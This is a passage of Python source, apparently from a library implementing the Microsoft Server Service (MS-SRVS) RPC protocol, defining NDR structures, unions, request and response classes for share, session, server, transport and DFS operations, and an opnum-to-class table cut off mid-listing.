)\n\n# 2.2.4.107 NET_DFS_ENTRY_ID\nclass NET_DFS_ENTRY_ID(NDRSTRUCT):\n    structure = (\n        ('Uid', GUID),\n        ('Prefix', LPWSTR),\n    )\n\nclass NET_DFS_ENTRY_ID_ARRAY(NDRUniConformantArray):\n    item = NET_DFS_ENTRY_ID\n\nclass LPNET_DFS_ENTRY_ID_ARRAY(NDRPOINTER):\n     referent = (\n         ('Data', NET_DFS_ENTRY_ID_ARRAY),\n     )\n\n# 2.2.4.108 NET_DFS_ENTRY_ID_CONTAINER\nclass NET_DFS_ENTRY_ID_CONTAINER(NDRSTRUCT):\n    structure = (\n        ('Count', DWORD),\n        ('Buffer', LPNET_DFS_ENTRY_ID_ARRAY),\n    )\n\n# 2.2.4.109 DFS_SITENAME_INFO\nclass DFS_SITENAME_INFO(NDRSTRUCT):\n    structure = (\n        ('SiteFlags', DWORD),\n        ('SiteName', LPWSTR),\n    )\n\n# 2.2.4.110 DFS_SITELIST_INFO\nclass DFS_SITENAME_INFO_ARRAY(NDRUniConformantArray):\n    item = DFS_SITENAME_INFO\n\nclass DFS_SITELIST_INFO(NDRSTRUCT):\n    structure = (\n        ('cSites', DWORD),\n        ('Site', DFS_SITENAME_INFO_ARRAY),\n    )\n\nclass LPDFS_SITELIST_INFO(NDRPOINTER):\n    referent = (\n        ('Data', DFS_SITELIST_INFO),\n    )\n\n# 2.2.3 Unions\n# 2.2.3.3 FILE_INFO\nclass FILE_INFO(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        2: ('FileInfo2', LPFILE_INFO_2),\n        3: ('FileInfo3', LPFILE_INFO_3),\n    }\n\n# 2.2.3.6 SHARE_INFO\nclass SHARE_INFO(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        0: ('ShareInfo0', LPSHARE_INFO_0),\n        1: ('ShareInfo1', LPSHARE_INFO_1),\n        2: ('ShareInfo2', LPSHARE_INFO_2),\n        502: ('ShareInfo502', LPSHARE_INFO_502),\n        1004: ('ShareInfo1004', LPSHARE_INFO_1004),\n        1006: ('ShareInfo1006', LPSHARE_INFO_1006),\n        1501: ('ShareInfo1501', LPSHARE_INFO_1501),\n        1005: ('ShareInfo1005', LPSHARE_INFO_1005),\n        501: ('ShareInfo501', LPSHARE_INFO_501),\n        503: ('ShareInfo503', LPSHARE_INFO_503),\n    }\n\n# 2.2.3.7 SERVER_INFO\nclass SERVER_INFO(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        100: ('ServerInfo100', LPSERVER_INFO_100),\n        101: ('ServerInfo101', LPSERVER_INFO_101),\n        102: ('ServerInfo102', LPSERVER_INFO_102),\n        103: ('ServerInfo103', LPSERVER_INFO_103),\n        502: ('ServerInfo502', LPSERVER_INFO_502),\n        503: ('ServerInfo503', LPSERVER_INFO_503),\n        599: ('ServerInfo599', LPSERVER_INFO_599),\n        1005: ('ServerInfo1005', LPSERVER_INFO_1005),\n        1107: ('ServerInfo1107', LPSERVER_INFO_1107),\n        1010: ('ServerInfo1010', LPSERVER_INFO_1010),\n        1016: ('ServerInfo1016', LPSERVER_INFO_1016),\n        1017: ('ServerInfo1017', LPSERVER_INFO_1017),\n        1018: ('ServerInfo1018', LPSERVER_INFO_1018),\n        1501: ('ServerInfo1501', LPSERVER_INFO_1501),\n        1502: ('ServerInfo1502', LPSERVER_INFO_1502),\n        1503: ('ServerInfo1503', LPSERVER_INFO_1503),\n        1506: ('ServerInfo1506', LPSERVER_INFO_1506),\n        1510: ('ServerInfo1510', LPSERVER_INFO_1510),\n        1511: ('ServerInfo1511', LPSERVER_INFO_1511),\n        1512: ('ServerInfo1512', LPSERVER_INFO_1512),\n        1513: ('ServerInfo1513', LPSERVER_INFO_1513),\n        1514: ('ServerInfo1514', LPSERVER_INFO_1514),\n        1515: ('ServerInfo1515', LPSERVER_INFO_1515),\n        1516: ('ServerInfo1516', LPSERVER_INFO_1516),\n        1518: ('ServerInfo1518', LPSERVER_INFO_1518),\n        1523: ('ServerInfo1523', LPSERVER_INFO_1523),\n        1528: ('ServerInfo1528', LPSERVER_INFO_1528),\n        1529: ('ServerInfo1529', LPSERVER_INFO_1529),\n        1530: ('ServerInfo1530', LPSERVER_INFO_1530),\n        1533: ('ServerInfo1533', LPSERVER_INFO_1533),\n        1534: ('ServerInfo1534', LPSERVER_INFO_1534),\n        1535: ('ServerInfo1535', LPSERVER_INFO_1535),\n        1536: ('ServerInfo1536', LPSERVER_INFO_1536),\n        1538: ('ServerInfo1538', LPSERVER_INFO_1538),\n        1539: ('ServerInfo1539', LPSERVER_INFO_1539),\n        1540: ('ServerInfo1540', LPSERVER_INFO_1540),\n        1541: ('ServerInfo1541', LPSERVER_INFO_1541),\n        1542: ('ServerInfo1542', LPSERVER_INFO_1542),\n        1543: ('ServerInfo1543', LPSERVER_INFO_1543),\n        1544: ('ServerInfo1544', LPSERVER_INFO_1544),\n        1545: ('ServerInfo1545', LPSERVER_INFO_1545),\n        1546: ('ServerInfo1546', LPSERVER_INFO_1546),\n        1547: ('ServerInfo1547', LPSERVER_INFO_1547),\n        1548: ('ServerInfo1548', LPSERVER_INFO_1548),\n        1549: ('ServerInfo1549', LPSERVER_INFO_1549),\n        1550: ('ServerInfo1550', LPSERVER_INFO_1550),\n        1552: ('ServerInfo1552', LPSERVER_INFO_1552),\n        1553: ('ServerInfo1553', LPSERVER_INFO_1553),\n        1554: ('ServerInfo1554', LPSERVER_INFO_1554),\n        1555: ('ServerInfo1555', LPSERVER_INFO_1555),\n        1556: ('ServerInfo1556', LPSERVER_INFO_1556),\n    }\n\n# 2.2.3.9 TRANSPORT_INFO\nclass TRANSPORT_INFO(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        0: ('Transport0', SERVER_TRANSPORT_INFO_0),\n        1: ('Transport1', SERVER_TRANSPORT_INFO_1),\n        2: ('Transport2', SERVER_TRANSPORT_INFO_2),\n        3: ('Transport3', SERVER_TRANSPORT_INFO_3),\n    }\n\n# 2.2.3.10 SERVER_ALIAS_INFO\nclass SERVER_ALIAS_INFO(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n\n    union = {\n        0: ('ServerAliasInfo0', LPSERVER_ALIAS_INFO_0),\n    }\n\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.1.4.1 NetrConnectionEnum (Opnum 8)\nclass NetrConnectionEnum(NDRCALL):\n    opnum = 8\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Qualifier', LPWSTR),\n       ('InfoStruct', CONNECT_ENUM_STRUCT),\n       ('PreferedMaximumLength', DWORD),\n       ('ResumeHandle', LPLONG),\n    )\n\nclass NetrConnectionEnumResponse(NDRCALL):\n    structure = (\n       ('InfoStruct',CONNECT_ENUM_STRUCT),\n       ('TotalEntries',DWORD),\n       ('ResumeHandle',LPLONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.2 NetrFileEnum (Opnum 9)\nclass NetrFileEnum(NDRCALL):\n    opnum = 9\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('BasePath', LPWSTR),\n       ('UserName', LPWSTR),\n       ('InfoStruct', FILE_ENUM_STRUCT),\n       ('PreferedMaximumLength', DWORD),\n       ('ResumeHandle', LPLONG),\n    )\n\nclass NetrFileEnumResponse(NDRCALL):\n    structure = (\n       ('InfoStruct',FILE_ENUM_STRUCT),\n       ('TotalEntries',DWORD),\n       ('ResumeHandle',LPLONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.3 NetrFileGetInfo (Opnum 10)\nclass NetrFileGetInfo(NDRCALL):\n    opnum = 10\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('FileId', DWORD),\n       ('Level', DWORD),\n    )\n\nclass NetrFileGetInfoResponse(NDRCALL):\n    structure = (\n       ('InfoStruct',FILE_INFO),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.4 NetrFileClose (Opnum 11)\nclass NetrFileClose(NDRCALL):\n    opnum = 11\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('FileId', DWORD),\n    )\n\nclass NetrFileCloseResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.5 NetrSessionEnum (Opnum 12)\nclass NetrSessionEnum(NDRCALL):\n    opnum = 12\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('ClientName', LPWSTR),\n       ('UserName', LPWSTR),\n       ('InfoStruct', SESSION_ENUM_STRUCT),\n       ('PreferedMaximumLength', DWORD),\n       ('ResumeHandle', LPLONG),\n    )\n\nclass NetrSessionEnumResponse(NDRCALL):\n    structure = (\n       ('InfoStruct',SESSION_ENUM_STRUCT),\n       ('TotalEntries',DWORD),\n       ('ResumeHandle',LPLONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.6 NetrSessionDel (Opnum 13)\nclass NetrSessionDel(NDRCALL):\n    opnum = 13\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('ClientName', LPWSTR),\n       ('UserName', LPWSTR),\n    )\n\nclass NetrSessionDelResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.7 NetrShareAdd (Opnum 14)\nclass NetrShareAdd(NDRCALL):\n    opnum = 14\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Level', DWORD),\n       ('InfoStruct', SHARE_INFO),\n       ('ParmErr', LPLONG),\n    )\n\nclass NetrShareAddResponse(NDRCALL):\n    structure = (\n       ('ParmErr', LPLONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.8 NetrShareEnum (Opnum 15)\nclass NetrShareEnum(NDRCALL):\n    opnum = 15\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('InfoStruct', SHARE_ENUM_STRUCT),\n       ('PreferedMaximumLength', DWORD),\n       ('ResumeHandle', LPLONG),\n    )\n\nclass NetrShareEnumResponse(NDRCALL):\n    structure = (\n       ('InfoStruct', SHARE_ENUM_STRUCT),\n       ('TotalEntries',DWORD),\n       ('ResumeHandle',LPLONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.9 NetrShareEnumSticky (Opnum 36)\nclass NetrShareEnumSticky(NDRCALL):\n    opnum = 36\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('InfoStruct', SHARE_ENUM_STRUCT),\n       ('PreferedMaximumLength', DWORD),\n       ('ResumeHandle', LPLONG),\n    )\n\nclass NetrShareEnumStickyResponse(NDRCALL):\n    structure = (\n       ('InfoStruct', SHARE_ENUM_STRUCT),\n       ('TotalEntries',DWORD),\n       ('ResumeHandle',LPLONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.10 NetrShareGetInfo (Opnum 16)\nclass NetrShareGetInfo(NDRCALL):\n    opnum = 16\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('NetName', WSTR),\n       ('Level', DWORD),\n    )\n\nclass NetrShareGetInfoResponse(NDRCALL):\n    structure = (\n       ('InfoStruct', SHARE_INFO),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.11 NetrShareSetInfo (Opnum 17)\nclass NetrShareSetInfo(NDRCALL):\n    opnum = 17\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('NetName', WSTR),\n       ('Level', DWORD),\n       ('ShareInfo', SHARE_INFO),\n       ('ParmErr', LPLONG),\n    )\n\nclass NetrShareSetInfoResponse(NDRCALL):\n    structure = (\n       ('ParmErr', LPLONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.12 NetrShareDel (Opnum 18)\nclass NetrShareDel(NDRCALL):\n    opnum = 18\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('NetName', WSTR),\n       ('Reserved', DWORD),\n    )\n\nclass NetrShareDelResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.13 NetrShareDelSticky (Opnum 19)\nclass NetrShareDelSticky(NDRCALL):\n    opnum = 19\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('NetName', WSTR),\n       ('Reserved', DWORD),\n    )\n\nclass NetrShareDelStickyResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.14 NetrShareDelStart (Opnum 37)\nclass NetrShareDelStart(NDRCALL):\n    opnum = 37\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('NetName', WSTR),\n       ('Reserved', DWORD),\n    )\n\nclass NetrShareDelStartResponse(NDRCALL):\n    structure = (\n       ('ContextHandle',SHARE_DEL_HANDLE),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.15 NetrShareDelCommit (Opnum 38)\nclass NetrShareDelCommit(NDRCALL):\n    opnum = 38\n    structure = (\n       ('ContextHandle',SHARE_DEL_HANDLE),\n    )\n\nclass NetrShareDelCommitResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.16 NetrShareCheck (Opnum 20)\nclass NetrShareCheck(NDRCALL):\n    opnum = 20\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Device', WSTR),\n    )\n\nclass NetrShareCheckResponse(NDRCALL):\n    structure = (\n       ('Type',DWORD),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.17 NetrServerGetInfo (Opnum 21)\nclass NetrServerGetInfo(NDRCALL):\n    opnum = 21\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Level', DWORD),\n    )\n\nclass NetrServerGetInfoResponse(NDRCALL):\n    structure = (\n       ('InfoStruct', SERVER_INFO),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.18 NetrServerSetInfo (Opnum 22)\nclass NetrServerSetInfo(NDRCALL):\n    opnum = 22\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Level', DWORD),\n       ('InfoStruct', SERVER_INFO),\n    )\n\nclass NetrServerSetInfoResponse(NDRCALL):\n    structure = (\n       ('ParmErr', LPLONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.19 NetrServerDiskEnum (Opnum 23)\nclass NetrServerDiskEnum(NDRCALL):\n    opnum = 23\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Level', DWORD),\n       ('DiskInfoStruct', DISK_ENUM_CONTAINER),\n       ('PreferedMaximumLength', DWORD),\n       ('ResumeHandle', LPLONG),\n    )\n\nclass NetrServerDiskEnumResponse(NDRCALL):\n    structure = (\n       ('DiskInfoStruct', DISK_ENUM_CONTAINER),\n       ('TotalEntries', DWORD),\n       ('ResumeHandle', LPLONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.20 NetrServerStatisticsGet (Opnum 24)\nclass NetrServerStatisticsGet(NDRCALL):\n    opnum = 24\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Service', LPWSTR),\n       ('Level', DWORD),\n       ('Options', DWORD),\n    )\n\nclass NetrServerStatisticsGetResponse(NDRCALL):\n    structure = (\n       ('InfoStruct', LPSTAT_SERVER_0),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.21 NetrRemoteTOD (Opnum 28)\nclass NetrRemoteTOD(NDRCALL):\n    opnum = 28\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n    )\n\nclass NetrRemoteTODResponse(NDRCALL):\n    structure = (\n       ('BufferPtr', LPTIME_OF_DAY_INFO),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.22 NetrServerTransportAdd (Opnum 25)\nclass NetrServerTransportAdd(NDRCALL):\n    opnum = 25\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Level', DWORD),\n       ('Buffer', SERVER_TRANSPORT_INFO_0),\n    )\n\nclass NetrServerTransportAddResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.23 NetrServerTransportAddEx (Opnum 41)\nclass NetrServerTransportAddEx(NDRCALL):\n    opnum = 41\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Level', DWORD),\n       ('Buffer', TRANSPORT_INFO),\n    )\n\nclass NetrServerTransportAddExResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.24 NetrServerTransportEnum (Opnum 26)\nclass NetrServerTransportEnum(NDRCALL):\n    opnum = 26\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('InfoStruct', SERVER_XPORT_ENUM_STRUCT),\n       ('PreferedMaximumLength', DWORD),\n       ('ResumeHandle', LPLONG),\n    )\n\nclass NetrServerTransportEnumResponse(NDRCALL):\n    structure = (\n       ('InfoStruct', SERVER_XPORT_ENUM_STRUCT),\n       ('TotalEntries', DWORD),\n       ('ResumeHandle', LPLONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.25 NetrServerTransportDel (Opnum 27)\nclass NetrServerTransportDel(NDRCALL):\n    opnum = 27\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Level', DWORD),\n       ('Buffer', SERVER_TRANSPORT_INFO_0),\n    )\n\nclass NetrServerTransportDelResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.26 NetrServerTransportDelEx (Opnum 53)\nclass NetrServerTransportDelEx(NDRCALL):\n    opnum = 53\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Level', DWORD),\n       ('Buffer', TRANSPORT_INFO),\n    )\n\nclass NetrServerTransportDelExResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.27 NetrpGetFileSecurity (Opnum 39)\nclass NetrpGetFileSecurity(NDRCALL):\n    opnum = 39\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('ShareName', LPWSTR),\n       ('lpFileName', WSTR),\n       ('RequestedInformation', SECURITY_INFORMATION),\n    )\n\nclass NetrpGetFileSecurityResponse(NDRCALL):\n    structure = (\n       ('SecurityDescriptor', PADT_SECURITY_DESCRIPTOR),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.28 NetrpSetFileSecurity (Opnum 40)\nclass NetrpSetFileSecurity(NDRCALL):\n    opnum = 40\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('ShareName', LPWSTR),\n       ('lpFileName', WSTR),\n       ('SecurityInformation', SECURITY_INFORMATION),\n       ('SecurityDescriptor', ADT_SECURITY_DESCRIPTOR),\n    )\n\nclass NetrpSetFileSecurityResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.29 NetprPathType (Opnum 30)\nclass NetprPathType(NDRCALL):\n    opnum = 30\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('PathName', WSTR),\n       ('Flags', DWORD),\n    )\n\nclass NetprPathTypeResponse(NDRCALL):\n    structure = (\n       ('PathType', DWORD),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.30 NetprPathCanonicalize (Opnum 31)\nclass NetprPathCanonicalize(NDRCALL):\n    opnum = 31\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('PathName', WSTR),\n       ('OutbufLen', DWORD),\n       ('Prefix', WSTR),\n       ('PathType', DWORD),\n       ('Flags', DWORD),\n    )\n\nclass NetprPathCanonicalizeResponse(NDRCALL):\n    structure = (\n       ('Outbuf', NDRUniConformantArray),\n       ('PathType', DWORD),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.31 NetprPathCompare (Opnum 32)\nclass NetprPathCompare(NDRCALL):\n    opnum = 32\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('PathName1', WSTR),\n       ('PathName2', WSTR),\n       ('PathType', DWORD),\n       ('Flags', DWORD),\n    )\n\nclass NetprPathCompareResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.32 NetprNameValidate (Opnum 33)\nclass NetprNameValidate(NDRCALL):\n    opnum = 33\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Name', WSTR),\n       ('NameType', DWORD),\n       ('Flags', DWORD),\n    )\n\nclass NetprNameValidateResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.33 NetprNameCanonicalize (Opnum 34)\nclass NetprNameCanonicalize(NDRCALL):\n    opnum = 34\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Name', WSTR),\n       ('OutbufLen', DWORD),\n       ('NameType', DWORD),\n       ('Flags', DWORD),\n    )\n\nclass NetprNameCanonicalizeResponse(NDRCALL):\n    structure = (\n       ('Outbuf', NDRUniConformantArray),\n       ('NameType', DWORD),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.34 NetprNameCompare (Opnum 35)\nclass NetprNameCompare(NDRCALL):\n    opnum = 35\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Name1', WSTR),\n       ('Name2', WSTR),\n       ('NameType', DWORD),\n       ('Flags', DWORD),\n    )\n\nclass NetprNameCompareResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.35 NetrDfsGetVersion (Opnum 43)\nclass NetrDfsGetVersion(NDRCALL):\n    opnum = 43\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n    )\n\nclass NetrDfsGetVersionResponse(NDRCALL):\n    structure = (\n       ('Version', DWORD),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.36 NetrDfsCreateLocalPartition (Opnum 44)\nclass NetrDfsCreateLocalPartition(NDRCALL):\n    opnum = 44\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('ShareName', WSTR),\n       ('EntryUid', GUID),\n       ('EntryPrefix', WSTR),\n       ('ShortName', WSTR),\n       ('RelationInfo', NET_DFS_ENTRY_ID_CONTAINER),\n       ('Force', DWORD),\n    )\n\nclass NetrDfsCreateLocalPartitionResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.37 NetrDfsDeleteLocalPartition (Opnum 45)\nclass NetrDfsDeleteLocalPartition(NDRCALL):\n    opnum = 45\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Uid', GUID),\n       ('Prefix', WSTR),\n    )\n\nclass NetrDfsDeleteLocalPartitionResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.38 NetrDfsSetLocalVolumeState (Opnum 46)\nclass NetrDfsSetLocalVolumeState(NDRCALL):\n    opnum = 46\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Uid', GUID),\n       ('Prefix', WSTR),\n       ('State', DWORD),\n    )\n\nclass NetrDfsSetLocalVolumeStateResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.39 NetrDfsCreateExitPoint (Opnum 48)\nclass NetrDfsCreateExitPoint(NDRCALL):\n    opnum = 48\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Uid', GUID),\n       ('Prefix', WSTR),\n       ('Type', DWORD),\n       ('ShortPrefixLen', DWORD),\n    )\n\nclass NetrDfsCreateExitPointResponse(NDRCALL):\n    structure = (\n       ('ShortPrefix',WCHAR_ARRAY),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.40 NetrDfsModifyPrefix (Opnum 50)\nclass NetrDfsModifyPrefix(NDRCALL):\n    opnum = 50\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Uid', GUID),\n       ('Prefix', WSTR),\n    )\n\nclass NetrDfsModifyPrefixResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.41 NetrDfsDeleteExitPoint (Opnum 49)\nclass NetrDfsDeleteExitPoint(NDRCALL):\n    opnum = 49\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Uid', GUID),\n       ('Prefix', WSTR),\n       ('Type', DWORD),\n    )\n\nclass NetrDfsDeleteExitPointResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.42 NetrDfsFixLocalVolume (Opnum 51)\nclass NetrDfsFixLocalVolume(NDRCALL):\n    opnum = 51\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('VolumeName', WSTR),\n       ('EntryType', DWORD),\n       ('ServiceType', DWORD),\n       ('StgId', WSTR),\n       ('EntryUid', GUID),\n       ('EntryPrefix', WSTR),\n       ('RelationInfo', NET_DFS_ENTRY_ID_CONTAINER),\n       ('CreateDisposition', DWORD),\n    )\n\nclass NetrDfsFixLocalVolumeResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.43 NetrDfsManagerReportSiteInfo (Opnum 52)\nclass NetrDfsManagerReportSiteInfo(NDRCALL):\n    opnum = 52\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('ppSiteInfo', LPDFS_SITELIST_INFO),\n    )\n\nclass NetrDfsManagerReportSiteInfoResponse(NDRCALL):\n    structure = (\n       ('ppSiteInfo', LPDFS_SITELIST_INFO),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.44 NetrServerAliasAdd (Opnum 54)\nclass NetrServerAliasAdd(NDRCALL):\n    opnum = 54\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Level', DWORD),\n       ('InfoStruct', SERVER_ALIAS_INFO),\n    )\n\nclass NetrServerAliasAddResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.45 NetrServerAliasEnum (Opnum 55)\nclass NetrServerAliasEnum(NDRCALL):\n    opnum = 55\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('InfoStruct', SERVER_ALIAS_ENUM_STRUCT),\n       ('PreferedMaximumLength', DWORD),\n       ('ResumeHandle', LPLONG),\n    )\n\nclass NetrServerAliasEnumResponse(NDRCALL):\n    structure = (\n       ('InfoStruct',SERVER_ALIAS_ENUM_STRUCT),\n       ('TotalEntries',DWORD),\n       ('ResumeHandle',LPLONG),\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.46 NetrServerAliasDel (Opnum 56)\nclass NetrServerAliasDel(NDRCALL):\n    opnum = 56\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Level', DWORD),\n       ('InfoStruct', SERVER_ALIAS_INFO),\n    )\n\nclass NetrServerAliasDelResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n# 3.1.4.47 NetrShareDelEx (Opnum 57)\nclass NetrShareDelEx(NDRCALL):\n    opnum = 57\n    structure = (\n       ('ServerName', PSRVSVC_HANDLE),\n       ('Level', DWORD),\n       ('ShareInfo', SHARE_INFO),\n    )\n\nclass NetrShareDelExResponse(NDRCALL):\n    structure = (\n       ('ErrorCode',ULONG),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n 8 : (NetrConnectionEnum, NetrConnectionEnumResponse),\n 9 : (NetrFileEnum, NetrFileEnumResponse),\n10 : (NetrFileGetInfo, NetrFileGetInfoResponse),\n11 : (NetrFileClose, NetrFileCloseResponse),\n12 : (NetrSessionEnum, NetrSessionEnumResponse),\n13 : (NetrSessionDel, NetrSessionDelResponse),\n14 : (NetrShareAdd, NetrShareAddResponse),\n15 : (NetrShareEnum, NetrShareEnumResponse),\n16 : (NetrShareGetInfo, NetrShareGetInfoResponse),\n17 : (NetrShareSetInfo, NetrShareSetInfoResponse),\n18 : (NetrShareDel, NetrShareDelResponse),\n19 : (NetrShareDelSticky, NetrShareDelStickyResponse),\n20 : (NetrShareCheck, NetrShareCheckResponse),\n21 : (NetrServerGetInfo, NetrServerGetInfoResponse),\n22 : (NetrServerSetInfo, NetrServerSetInfoResponse),\n23 : (NetrServerDiskEnum, NetrServerDiskEnumResponse),\n24 : (NetrServerStatisticsGet, NetrServerStatisticsGetResponse),\n25 : (NetrServerTransportAdd, NetrServerTransportAddResponse),\n26 : (NetrServerTransportEnum, NetrServerTransportEnumResponse),\n27 : (NetrServerTransportDel, NetrServerTransportDelResponse),\n28 : (NetrRemoteTOD, NetrRemoteTODResponse),\n30 : (NetprPathType, NetprPathTypeResponse),\n31 : (NetprPathCanonicalize, NetprPathCanonicalizeResponse),\n32 : (NetprPathCompare, NetprPathCompareResponse),\n33 : (NetprNameValidate, NetprNameValidateResponse),\n34 : (NetprNameCanonicalize, NetprNameCanonicalizeResponse),\n35 : (NetprNameCompare, NetprNameCompareResponse),\n36 : (NetrShareEnumSticky, NetrShareEnumStickyResponse),\n37 : (NetrShareDelStart, NetrShareDelStartResponse),\n38 : (NetrShareDelCommit, NetrShareDelCommitResponse),\n39 : (NetrpGetFileSecurity, NetrpGetFileSecurityResponse),\n40 : (NetrpSetFileSecurity, NetrpSetFileSecurityResponse),\n41 : (NetrServerTransportAddEx, NetrServerTransportAddExResponse),\n43 : (NetrDfsGetVersion, NetrDfsGetVersionResponse),\n44 : (NetrDfsCreateLocalPartition, NetrDfsCreateLocalPartitionResponse),\n45 : (NetrDfsDeleteLocalPartition, NetrDfsDeleteLocalPartitionResponse),\n46 : (NetrDfsSetLocalVolumeState, NetrDfsSetLocalVolumeStateResponse),\n48 : (NetrDfsCreateExitPoint, NetrDfsCreateExitPointResponse),\n49 : (NetrDfsDeleteExitPoint, NetrDfsDeleteExitPointResponse),\n50 : 